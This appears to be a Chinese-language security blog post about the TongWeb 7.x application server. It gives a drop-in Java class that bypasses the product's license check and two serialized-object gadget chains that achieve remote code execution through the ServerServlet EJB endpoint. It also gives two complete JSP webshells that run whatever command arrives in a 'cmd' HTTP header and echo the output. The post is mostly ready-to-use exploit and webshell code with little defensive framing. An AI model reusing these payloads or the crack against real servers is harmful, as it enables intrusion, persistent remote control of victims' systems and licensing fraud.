TongWeb笔记

前言

整理一下TongWeb 7.x的破解方法、反序列化链子,回显cmd.jspTongWeb MemSHELL SCANNER

开始学习

破解

TongWeb在部署的时候是需要license.dat,网上找了一圈没找到。也就只能破解了。

一开始的思路是看能不能伪造一个license.dat、后面发现不太行。

原因我TongWeb.jar里面只有公钥文件,也就是图中的tongweb.jar/com/tongtech/flag/K文件

这个公钥K文件的作用是用来解密license.dat,并返回一个证书授权的相关信息。

image

也就是说缺少私钥文件对授权信息进行加密。

image

所以一开始我的想法就是直接固定解密算法的返回值,这样就行了。后面发现启动过程中还有要对证书文件进行读取的逻辑。把我整懵逼了。

过了几天才发现是自己傻逼了,看了一遍启动流程。

直接贴破解的方法好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
package com.tongweb.catalina.startup;  


import java.io.File;
import java.util.Hashtable;

final class f {
private static String a = null;
private static String b = null;
private static String c = null;
private static String d = null;
private static String e = null;
private static String f = "0.0";
private static String g = null;
private static String h = null;

static final String a() {

a = "安全测试";
b = "安全测试";
c = "1999-01-01";
d = "2099-12-31";
e = "TongWeb";
f = "7.0";
g = "Enterprise";
h = "";
return e;
}

static final String b() {
return g;
}

static final String c() {
return f;
}

static final String d() {
return a;
}

static final String e() {
return b;
}

static final String f() {
return c;
}

static final String g() {
return d;
}

static final String h() {
return h;
}
}

编译以后替换tongweb里面的这个f类就行。

再次启动就可以了。

image

ejb反序列化【老洞】

官网下载补丁看一下,就知道是ServerServlet有问题

然后jadx搜一下ServerServlet,就知道它是在com.tongweb.tomee.catalina.remote.TomEERemoteWebapp这里被注册的。

image

链子

BadAttributeValueExpException

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
  
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getDeclaredConstructor());
sc.setAccessible(true);
Context o = (Context) sc.newInstance();
ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true,"com.tongweb.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString", "x=eval"));

String code = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"calc\")');";

ref.add(new StringRefAddr("x", code));


ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("T14264703621033", ref, o);

BadAttributeValueExpException val = new BadAttributeValueExpException(null);
Field valfield = val.getClass().getDeclaredField("val");
setAccessible(valfield);
valfield.set(val, readOnlyBinding);
oos.writeObject(val);

EventListenerList

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
Constructor<?> sc = ReflectionFactory.getReflectionFactory().newConstructorForSerialization(WritableContext.class, Object.class.getDeclaredConstructor());  
sc.setAccessible(true);
Context o = (Context) sc.newInstance();

ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "com.tongweb.naming.factory.BeanFactory", null);
ref.add(new StringRefAddr("forceString", "x=eval"));
//String code="Thread.sleep(5000)";
String code = "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName('js').eval('java.lang.Runtime.getRuntime().exec(\"calc\")');";
ref.add(new StringRefAddr("x", code));

ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding("T14264703621033", ref, o);

// 构造 UndoManager 并注入 readOnlyBinding 到 edits Vector 中
UndoManager manager = new UndoManager();
Field editsField = CompoundEdit.class.getDeclaredField("edits");
setAccessible(editsField);
Vector edits = (Vector) editsField.get(manager);
edits.add(readOnlyBinding);

// 构造 EventListenerListEventListenerList eventListenerList = new EventListenerList();
Field listenerListField = EventListenerList.class.getDeclaredField("listenerList");
setAccessible(listenerListField);
listenerListField.set(eventListenerList, new Object[]{String.class, manager});
oos.writeObject(eventListenerList);

其他

java-chain简单改了一下,发现有这些好像可以打。没尝试。

image

TongWeb 回显1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%
try {
Object obj = Thread.currentThread(); java.lang.reflect.Field f = null;
Class<?> c = obj.getClass(); while (c != Object.class) {
try {
f = c.getDeclaredField("target");
c = Object.class;
} catch (Exception e) {
c = c.getSuperclass(); } } f.setAccessible(true);
obj = f.get(obj);
c = obj.getClass(); f = null;
while (c != Object.class) {
try {
f = c.getDeclaredField("wrappedRunnable");
c = Object.class;
} catch (Exception e) {
c = c.getSuperclass(); } } f.setAccessible(true);
Object worker = f.get(obj);
c = worker.getClass(); f = null;
while (c != Object.class) {
try {
f = c.getDeclaredField("thread");
c = Object.class;
} catch (Exception e) {
c = c.getSuperclass(); } } f.setAccessible(true);
Thread t = (Thread) f.get(worker);
Class<?> cls = Class.forName("com.tongweb.tomee.catalina.OpenEJBSecurityListener");
f = cls.getDeclaredField("requests");
f.setAccessible(true);
Object tl = f.get(null);

java.lang.reflect.Method gm = tl.getClass().getDeclaredMethod("getMap", Thread.class);
gm.setAccessible(true);
Object map = gm.invoke(tl, t); if (map == null) return;

java.lang.reflect.Method ge = map.getClass().getDeclaredMethod("getEntry", tl.getClass());
ge.setAccessible(true);
Object entry = ge.invoke(map, tl); if (entry == null) return;

f = entry.getClass().getDeclaredField("value");
f.setAccessible(true);
Object req = f.get(entry);
String cmd = (String) req.getClass().getMethod("getHeader", String.class).invoke(req, "cmd");
String[] cmds = System.getProperty("os.name").toLowerCase().contains("win")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
java.lang.Process p = new java.lang.ProcessBuilder(cmds).redirectErrorStream(true).start();
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream(), "UTF-8"));
java.lang.StringBuilder sb = new java.lang.StringBuilder();
String line; while ((line = br.readLine()) != null) sb.append(line).append("\n");
br.close(); p.waitFor(); Object resp = req.getClass().getMethod("getResponse").invoke(req);
java.io.PrintWriter w = (java.io.PrintWriter) resp.getClass().getMethod("getWriter").invoke(resp);
w.print(sb.toString()); w.flush(); } catch (Exception e) {
}%>

TongWeb回显2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<%@ page contentType="text/html;charset=UTF-8" language="java" %>  
<%

boolean flag = false;

javax.management.MBeanServer mbeanServer = com.tongweb.web.util.modeler.Registry.getRegistry((Object) null, (Object) null).getMBeanServer();
java.lang.reflect.Field field = Class.forName("com.sun.jmx.mbeanserver.JmxMBeanServer").getDeclaredField("mbsInterceptor");
field.setAccessible(true);
Object obj = field.get(mbeanServer);
field = Class.forName("com.sun.jmx.interceptor.DefaultMBeanServerInterceptor").getDeclaredField("repository");
field.setAccessible(true);
com.sun.jmx.mbeanserver.Repository repository = (com.sun.jmx.mbeanserver.Repository) field.get(obj);
java.util.Set<com.sun.jmx.mbeanserver.NamedObject> objectSet = repository.query(new javax.management.ObjectName("TONGWEB:type=GlobalRequestProcessor,*"), null);
for (com.sun.jmx.mbeanserver.NamedObject namedObject : objectSet) {
javax.management.DynamicMBean dynamicMBean = namedObject.getObject(); field = Class.forName("com.tongweb.web.util.modeler.BaseModelMBean").getDeclaredField("resource");
field.setAccessible(true);
obj = field.get(dynamicMBean);
field = Class.forName("com.tongweb.coyote.RequestGroupInfo").getDeclaredField("processors");
field.setAccessible(true);
java.util.ArrayList procssors = (java.util.ArrayList) field.get(obj);
field = Class.forName("com.tongweb.coyote.RequestInfo").getDeclaredField("req");
field.setAccessible(true);
for (int i = 0; i < procssors.size(); i++) {
com.tongweb.coyote.Request req = (com.tongweb.coyote.Request) field.get(procssors.get(i)); String cmd = req.getHeader("cmd");
if (cmd != null && !cmd.isEmpty()) {
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};
byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

Object resp = req.getClass().getMethod("getResponse", new Class[0]).invoke(req, new Object[0]);
try {
Class cls = Class.forName("com.tongweb.web.util.buf.ByteChunk");
obj = cls.newInstance(); cls.getDeclaredMethod("setBytes", new Class[]{byte[].class, int.class, int.class}).invoke(obj, new Object[]{result, new Integer(0), new Integer(result.length)});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
} catch (NoSuchMethodException var5) {
Class cls = Class.forName("java.nio.ByteBuffer");
obj = cls.getDeclaredMethod("wrap", new Class[]{byte[].class}).invoke(cls, new Object[]{result});
resp.getClass().getMethod("doWrite", new Class[]{cls}).invoke(resp, new Object[]{obj});
}
flag = true;
}
if (flag) break;
} }%>
Author: jdr
Link: https://jdr2021.github.io/2025/11/21/TongWeb笔记/
Copyright Notice: All articles in this blog are licensed under CC BY-NC-SA 4.0 unless stating additionally.